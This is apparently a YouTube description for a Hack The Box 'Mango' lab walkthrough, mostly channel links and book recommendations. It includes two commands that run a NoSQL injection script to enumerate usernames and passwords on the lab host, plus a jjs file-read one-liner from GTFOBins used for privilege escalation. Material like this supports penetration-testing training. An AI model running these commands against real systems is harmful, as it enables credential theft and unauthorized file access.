HackTheBox - Mango Box Write up

First of all, I want to thank you all for the first milestone reached, 1K SUBSCRIBERS, I started the channel just for fun, and it has been a joy ride, love doing it, love to learn, and share it with all the community, cause I truly believe that information is power, hope you guys keep enjoying as much as i do :)

For those who are starting in the cyber security area, the Hack The Box is an online platform that allows you to test your penetration testing skills and you can exchange ideas in the hacking community with thousands of people in the security field.

The platform has a bunch of machines(active and retired) to hack, as also machines to test forensics skills, and when you feel real comfortable you can go for the challenges, pretty awesome.

In this twelveth episode, it will guide you step by step in order to hack the Mango box, This box is a medium-level machine, it's a pretty fun box, to get to user flag we have to find the hidden domain name, then take advantage of a MONGODB vulnerability, but the fun part was the flag was not located in the user home directory, so we had to be admin to get it. The Root flag we had to privesc using a vulnerability found using LinEnum, and then GTFOBINS was our best friend. Globally this machine is very good to learn new techniques. Watch and enjoy, and if you have any comments or suggestions, leave a comment down below.

If you find it useful, I leave a link for my notes of the tasks performed on the machines during the attacks (not all there yet, but i will updating soon).

DISCORD CHANNEL (under construction) - https://discord.gg/wrUmQF

?Donate?
Like the channel? Please consider supporting me on Patreon and PayPal:
https://www.patreon.com/dEfCoNnUlL
https://paypal.me/defconnull?locale.x=pt_PT

HACK THE BOX - HACKING SERIES

#1 Hack the Invitation Code - https://www.youtube.com/watch?v=hnlJv...
#2 Hack The Box - Getting Started - https://youtu.be/qm7ggKgy3w8
#3 Hack The Box - Hacking Lame Box - https://youtu.be/csDKuQN6Oi0
#4 Hack The Box - Hacking Legacy Box - https://youtu.be/iokOnrBoEMA
#5 Hack The Box - Hacking Devel Box - https://youtu.be/GbQ94prMJgc
#6 Hack The Box - Hacking Beep Box - https://youtu.be/y7nXjq1SzaA
#7 Hack The Box - Hacking Optimum Box - https://youtu.be/T27YhEqIXp8
#8 Hack The Box - Hacking Artic Box - https://youtu.be/yNwD6nkaGgE
#9 Hack The Box - Hacking Grandpa Box - https://youtu.be/BluBOU1YWsE
#10 Hack The Box - Hacking Granny Box - https://youtu.be/vnauVbKubJI
#11 Hack The Box - Hacking Blocky Box - https://youtu.be/eRW5iBb-xSk

HACK THE BOX - CHALLENGE SERIES

#1 Hack The Box - Reverse Engineering Snake Challenge - https://youtu.be/Tnua7ZZeUv4

MY HACK THE BOX HACK NOTES
https://github.com/smasher35/hackthebox_notes

-----------------------------------------------------------------
USEFUL LINKS:

HACK THE BOX
https://www.hackthebox.eu

DECODERS:
https://cryptii.com
https://www.base64decode.org

EXPLOITS INFO:
https://www.exploit-db.com
https://opendata.rapid7.com/

TOOLS AND EXPLOITS:

NMAP
https://nmap.org

ZENMAP
https://nmap.org/zenmap/

MONGODB USERNAME-PASSWORD-INJECTION
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

USERS
-----
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login:login -m POST

PASSWORDS
---------
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login:login -m POST


LinEnum.sh
https://github.com/rebootuser/LinEnum

GTFOBINS - jjs exploits - FILE READ
https://gtfobins.github.io/gtfobins/jjs/

echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("file_to_read"));
while ((line = br.readLine()) != null) { print(line); }' | jjs

MONGODB INJECTION
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

-----------------------------------------------------------------------------------------------
HACKER BOOKS
------------

Penetration Testing - A Hands-On Introduction to Hacking: https://amzn.to/31GN7iX
The Hacker Playbook 3 - https://amzn.to/34XkIY2
Hacking: The Art of Exploitation - https://amzn.to/2VchDyL
The Web Application Hacker's Handbook - https://amzn.to/30Fj21S
Real-World Bug Hunting: A Field Guide to Web Hacking - https://amzn.to/2V9srOe
Social Engineering: The Science of Human Hacking - https://amzn.to/31HAmVx
Linux Basics for Hackers - https://amzn.to/34WvcXP
Python Crash Course, 2nd Edition - https://amzn.to/30gINu0
Violent Python - https://amzn.to/2QoGoJn
Black Hat Python - https://amzn.to/2V9GpQk

-----------------------------------------------------------------------------------------------
? FOLLOW ME: ?

FACEBOOK: https://www.facebook.com/paulo.penich...
TWITTER: https://twitter.com/smasher39?lang=pt_pt
INSTAGRAM: https://www.instagram.com/smasher40/?...
500PX.com: https://500px.com/paulopenicheir